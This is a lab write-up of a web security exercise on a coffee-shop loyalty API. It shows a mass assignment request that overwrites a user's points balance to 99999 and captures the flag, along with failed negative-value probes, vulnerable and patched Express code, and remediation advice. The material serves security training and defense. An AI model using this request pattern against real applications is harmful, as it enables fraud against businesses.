BugForge - Cafe Club Lab Writeup
Executive Summary
Overall Risk Rating: π΄ Critical
Key Findings:
- Mass Assignment on profile update endpoint (CWE-915) β arbitrary field injection overwrites loyalty points balance
Business Impact: An attacker can grant themselves unlimited loyalty points, redeeming them for free products and causing direct financial loss to the business.
Objective
Find and exploit a vulnerability in the Cafe Club coffee shop loyalty program web application.
Initial Access
# Target Application
URL: https://lab-1773600707428-y7pmye.labs-app.bugforge.io
# Auth details
Registered account via POST /api/register
User: id=5, username=haxor, role=user
Auth: JWT HS256 in Authorization Bearer header
Key Findings
Critical & High-Risk Vulnerabilities
- Mass Assignment on Profile Update Endpoint (CWE-915) β The
PUT /api/profileendpoint blindly applies all JSON fields from the request body to the user record. Intended fields arefull_name,email,address, andphone, but the server accepts and persists any additional field β includingpoints. An attacker can set their loyalty points to an arbitrary value with a single request.
CVSS v3.1 Score for Mass Assignment: 9.1 (Critical)
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | None |
| Integrity | High |
| Availability | High |
Enumeration Summary
Application Analysis
Tech Stack:
- Backend: Express (Node.js) β
X-Powered-By: Express - Auth: JWT HS256 β payload:
{"id":5,"username":"haxor","iat":...} - API: REST JSON
Target Endpoints Discovered:
| Endpoint | Method | Purpose |
|---|---|---|
/api/register |
POST | Registration |
/api/verify-token |
GET | Token validation |
/api/products |
GET | Product catalog |
/api/products/:id/reviews |
POST | Submit review |
/api/favorites/:id |
POST | Favorite a product |
/api/cart |
GET/POST | View/add to cart |
/api/checkout |
POST | Place order |
/api/orders / /api/orders/:id |
GET | Order history |
/api/profile |
GET/PUT | View/update profile |
/api/profile/password |
PUT | Change password |
/api/giftcards |
GET | List gift cards |
/api/giftcards/purchase |
POST | Buy gift card |
/api/giftcards/redeem |
POST | Redeem gift card code |
Attack Chain Visualization
ββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Register βββββΆβ Map API Surface βββββΆβ Identify Profile β
β Account β β (Caido) β β Update Endpoint β
ββββββββββββββββ ββββββββββββββββββββ βββββββββββ¬ββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β PUT /api/profile β
β Add "points":99999 β
β to JSON body β
βββββββββββ¬ββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β Server applies all β
β fields β points β
β overwritten β β
β Flag returned β
βββββββββββββββββββββββ
Attack Path Summary:
- Register account and authenticate via JWT
- Map all API endpoints through Caido HTTP proxy
- Identify
PUT /api/profileaccepts JSON body for profile fields - Inject
"points":99999into the profile update request body - Server applies all fields without whitelisting β points overwritten, flag returned
Exploitation Path
Step 1: Reconnaissance β API Surface Mapping
Registered an account and explored the application through Caido, capturing all HTTP requests. Identified 13 API endpoints across authentication, products, cart/checkout, profile, gift cards, and orders.
Key observations:
- Backend is Express (Node.js) per
X-Powered-Byheader - Auth uses JWT HS256 with payload
{"id":5,"username":"haxor","iat":...} - Points system: checkout earns points (β floor of total), points apply as ~$1 discount each
- Gift cards: purchase with credit card β receive code β redeem code to add balance
Step 2: Testing Business Logic Abuse Vectors
Tested several negative-value attacks against the points/money flow:
POST /api/checkout
{"points_to_use": -1000}
β 400: "Points to use cannot be negative"
POST /api/cart
{"product_id": 1, "quantity": -5}
β 400: "Valid product ID and quantity are required"
POST /api/giftcards/purchase
{"amount": -100}
β 400: "Invalid gift card amount"
All negative-value vectors were properly validated server-side. Dead ends.
Step 3: Mass Assignment on Profile Update
Examined the profile update endpoint. The normal request body contains full_name, email, address, and phone. Tested whether additional fields would be accepted:
PUT /api/profile HTTP/1.1
Host: lab-1773600707428-y7pmye.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"full_name":"","email":"test@test.com","address":"test","phone":"test","points":99999}
Step 4: Flag Captured
The server processed all fields without whitelisting, directly updating the user record:
{"message":"Profile updated successfully bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}"}
Points balance was overwritten to 99999. The flag was returned inline in the success message.
Flag / Objective Achieved
β
bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}
Key Learnings
- Mass assignment is a common flaw in REST APIs that accept JSON bodies and map them directly to database models without field whitelisting. Always check whether non-intended fields are accepted.
- Business logic validation doesnβt prevent all abuse β the app correctly blocked negative values on checkout, cart, and gift cards, but missed the simpler vector of directly overwriting the points field.
- Profile update endpoints are high-value targets β theyβre designed to accept user-controlled input and write it to the database, making them a natural place for mass assignment.
- Node.js/Express APIs using ORMs like Sequelize or Mongoose are especially susceptible when using generic update methods (
Model.update(req.body)) without specifying allowed fields.
Tools Used
- Caido - HTTP proxy for request interception, API mapping, and replay
- Browser DevTools - Initial application exploration
Remediation
1. Mass Assignment β Profile Update (CVSS: 9.1 - Critical)
Issue: PUT /api/profile applies all request body fields to the user record without whitelisting, allowing attackers to modify sensitive fields like points.
CWE Reference: CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Fix:
// BEFORE (Vulnerable)
app.put('/api/profile', auth, async (req, res) => {
await User.update(req.body, { where: { id: req.user.id } });
res.json({ message: 'Profile updated successfully' });
});
// AFTER (Secure)
app.put('/api/profile', auth, async (req, res) => {
const { full_name, email, address, phone } = req.body;
await User.update(
{ full_name, email, address, phone },
{ where: { id: req.user.id } }
);
res.json({ message: 'Profile updated successfully' });
});
Additional defense-in-depth measures:
- Use ORM-level field protection (e.g., Sequelize
fieldsoption, Mongooseselect) - Mark sensitive fields as non-mass-assignable at the model level
- Add integration tests that verify extra fields in profile updates are ignored
Failed Attempts
Approach 1: Negative points_to_use at checkout
POST /api/checkout
{"points_to_use": -1000}
Result: Failed - Server validates that points cannot be negative (400 response)
Approach 2: Negative cart quantity
POST /api/cart
{"product_id": 1, "quantity": -5}
Result: Failed - Server validates that quantity must be positive (400 response)
Approach 3: Negative gift card purchase amount
POST /api/giftcards/purchase
{"amount": -100}
Result: Failed - Server validates gift card amount (400 response)
OWASP Top 10 Coverage
- A01:2021 - Broken Access Control (mass assignment allows users to modify fields they should not have access to)
- A04:2021 - Insecure Design (API lacks field whitelisting as a design-level control)
- A08:2021 - Software and Data Integrity Failures (user-supplied data applied to data model without integrity validation)
References
Mass Assignment Resources:
- OWASP Mass Assignment Cheat Sheet
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- PortSwigger: Mass Assignment Vulnerabilities
- OWASP API Security Top 10 β API6:2023
Tags: #mass-assignment #api-security #nodejs #express #business-logic #bugforge